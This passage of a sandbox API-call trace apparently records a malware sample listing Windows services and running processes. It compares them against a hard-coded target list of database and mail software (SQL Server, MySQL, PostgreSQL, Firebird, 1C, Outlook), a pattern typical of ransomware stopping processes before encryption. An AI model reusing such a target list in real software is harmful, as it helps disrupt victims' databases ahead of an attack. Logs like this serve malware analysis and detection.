(lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0035.134] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0035.134] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0035.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0035.134] lstrlenW (lpString="nsi") returned 3 [0035.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0035.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0035.134] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0035.134] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0035.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0035.135] lstrlenW (lpString="PcaSvc") returned 6 [0035.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0035.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0035.135] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0035.135] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0035.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0035.135] lstrlenW (lpString="PlugPlay") returned 8 [0035.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0035.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0035.135] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0035.135] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0035.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0035.135] lstrlenW (lpString="Power") returned 5 [0035.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0035.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0035.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0035.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0035.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0035.135] lstrlenW (lpString="ProfSvc") returned 7 [0035.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0035.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0035.135] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0035.135] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0035.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0035.135] lstrlenW (lpString="RpcEptMapper") returned 12 [0035.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0035.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0035.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0035.136] lstrlenW (lpString="RpcSs") returned 5 [0035.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0035.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0035.136] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0035.136] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0035.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0035.136] lstrlenW (lpString="SamSs") returned 5 [0035.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0035.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0035.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0035.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0035.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0035.136] lstrlenW (lpString="Schedule") returned 8 [0035.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0035.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0035.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0035.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0035.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0035.136] lstrlenW (lpString="SENS") returned 4 [0035.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0035.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0035.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0035.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0035.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0035.136] lstrlenW (lpString="ShellHWDetection") returned 16 [0035.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.136] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0035.136] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0035.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0035.137] lstrlenW (lpString="Spooler") returned 7 [0035.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0035.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0035.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0035.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0035.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0035.137] lstrlenW (lpString="SysMain") returned 7 [0035.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0035.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0035.137] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0035.137] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0035.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0035.137] lstrlenW (lpString="Themes") returned 6 [0035.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0035.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0035.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0035.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0035.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0035.137] lstrlenW (lpString="TrkWks") returned 6 [0035.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0035.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0035.137] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0035.137] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0035.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0035.137] lstrlenW (lpString="UxSms") returned 5 [0035.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0035.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0035.137] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0035.137] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0035.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0035.137] lstrlenW (lpString="WdiServiceHost") returned 14 [0035.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.138] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0035.138] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0035.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0035.138] lstrlenW (lpString="WdiSystemHost") returned 13 [0035.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.138] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0035.138] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0035.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0035.138] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0035.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.138] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0035.138] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0035.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0035.138] lstrlenW (lpString="Winmgmt") returned 7 [0035.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0035.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0035.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0035.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0035.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0035.138] lstrlenW (lpString="WPDBusEnum") returned 10 [0035.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.138] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0035.138] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0035.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0035.138] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x393d1d8 | out: hHeap=0x5f0000) returned 1 [0035.139] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8 [0035.141] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.142] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0035.143] lstrlenW (lpString="System") returned 6 [0035.143] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0035.143] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0035.143] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0035.143] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0035.143] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0035.143] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0035.143] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0035.143] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0035.144] lstrlenW (lpString="smss.exe") returned 8 [0035.144] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0035.144] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0035.144] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0035.144] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0035.144] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0035.144] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0035.144] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0035.144] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.145] lstrlenW (lpString="csrss.exe") returned 9 [0035.145] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.145] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.145] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0035.145] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0035.146] lstrlenW (lpString="wininit.exe") returned 11 [0035.146] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0035.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0035.146] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0035.146] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0035.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0035.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0035.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0035.146] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.147] lstrlenW (lpString="csrss.exe") returned 9 [0035.147] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.147] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.147] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.147] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0035.148] lstrlenW (lpString="winlogon.exe") returned 12 [0035.148] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0035.149] lstrlenW (lpString="services.exe") returned 12 [0035.149] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0035.150] lstrlenW (lpString="lsass.exe") returned 9 [0035.150] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0035.151] lstrlenW (lpString="lsm.exe") returned 7 [0035.151] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.152] lstrlenW (lpString="svchost.exe") returned 11 [0035.152] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.153] lstrlenW (lpString="svchost.exe") returned 11 [0035.153] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.154] lstrlenW (lpString="svchost.exe") returned 11 [0035.154] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.154] lstrlenW (lpString="svchost.exe") returned 11 [0035.155] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.155] lstrlenW (lpString="svchost.exe") returned 11 [0035.155] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0035.156] lstrlenW (lpString="audiodg.exe") returned 11 [0035.156] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.157] lstrlenW (lpString="svchost.exe") returned 11 [0035.157] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.158] lstrlenW (lpString="svchost.exe") returned 11 [0035.158] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0035.159] lstrlenW (lpString="dwm.exe") returned 7 [0035.159] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0035.160] lstrlenW (lpString="explorer.exe") returned 12 [0035.160] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0035.161] lstrlenW (lpString="spoolsv.exe") returned 11 [0035.161] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.161] lstrlenW (lpString="taskhost.exe") returned 12 [0035.161] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.269] lstrlenW (lpString="svchost.exe") returned 11 [0035.269] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0035.270] lstrlenW (lpString="taskeng.exe") returned 11 [0035.270] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.270] lstrlenW (lpString="taskhost.exe") returned 12 [0035.270] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0035.271] lstrlenW (lpString="obligations-breath.exe") returned 22 [0035.271] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0035.272] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0035.272] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0035.273] lstrlenW (lpString="achieving.exe") returned 13 [0035.273] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0035.273] lstrlenW (lpString="venice.exe") returned 10 [0035.273] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0035.274] lstrlenW (lpString="owns.exe") returned 8 [0035.274] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0035.274] lstrlenW (lpString="faster momentum.exe") returned 19 [0035.274] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0035.275] lstrlenW (lpString="vital_reasons.exe") returned 17 [0035.275] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0035.276] lstrlenW (lpString="everyone.exe") returned 12 [0035.276] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0035.276] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0035.277] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0035.277] lstrlenW (lpString="bored_excluded.exe") returned 18 [0035.277] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0035.278] lstrlenW (lpString="mothers.exe") returned 11 [0035.278] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, 